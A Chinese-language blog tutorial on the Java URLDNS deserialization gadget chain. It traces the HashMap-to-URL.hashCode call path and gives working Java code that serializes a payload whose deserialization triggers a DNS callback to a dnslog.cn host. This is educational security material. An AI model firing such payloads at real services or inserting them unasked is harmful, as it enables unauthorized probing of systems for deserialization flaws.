Java反序列化-URLDNS链

作用

URLDNS链通常用来验证是否存在反序列化

复现

该链主要是通过URL类中的hashCode方法

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

有调用了handler的hashCode

protected int hashCode(URL u) {
       int h = 0;

       // Generate the protocol part.
       String protocol = u.getProtocol();
       if (protocol != null)
           h += protocol.hashCode();

       // Generate the host part.
       InetAddress addr = getHostAddress(u);
       if (addr != null) {
           h += addr.hashCode();
       } else {
           String host = u.getHost();
           if (host != null)
               h += host.toLowerCase().hashCode();
       }

       // Generate the file part.
       String file = u.getFile();
       if (file != null)
           h += file.hashCode();

       // Generate the port part.
       if (u.getPort() == -1)
           h += getDefaultPort();
       else
           h += u.getPort();

       // Generate the ref part.
       String ref = u.getRef();
       if (ref != null)
           h += ref.hashCode();

       return h;
   }

调用了getHostAddress() 查看api file 获取主机的IP地址 这里就回去请求DNS

所以需要找到一个可以调用URL的hashCode方法的入口

这里用到了HashMap类 HashMap中有一个put方法

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

调用了hash方法 跟进

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里回调用key的hashCode 我们传入key为url的对象 就调用url的hashcode 就连着上边的链了 写个demo 利用DNSLOG 序列化

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oss.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        HashMap<URL,Integer> hashmap = new HashMap<>();
        URL url = new URL("http://knkf5n.dnslog.cn");
        Class c = url.getClass();
        Field hashcodeField = c.getDeclaredField("hashCode");
        hashcodeField.setAccessible(true);
        hashcodeField.set(url,123);
        hashmap.put(url,1);
        hashcodeField.set(url,-1);
        serialize(hashmap);
    }
}

上边使用反射先将url的hashCode的值设置为123是因为 在序列化的时候 会调用hashCode方法 file 让hashCode的值不为-1可以让 在序列化的时候不触发DNS请求 以防误判 反序列化

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object obj =ois.readObject();
    }
}

接收到请求 file 完整链

HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

Java反序列化-URLDNS链
http://example.com/2021/09/12/OldBlog/java反序列化-urldns链/
作者
Autumn
发布于
2021年9月12日
许可协议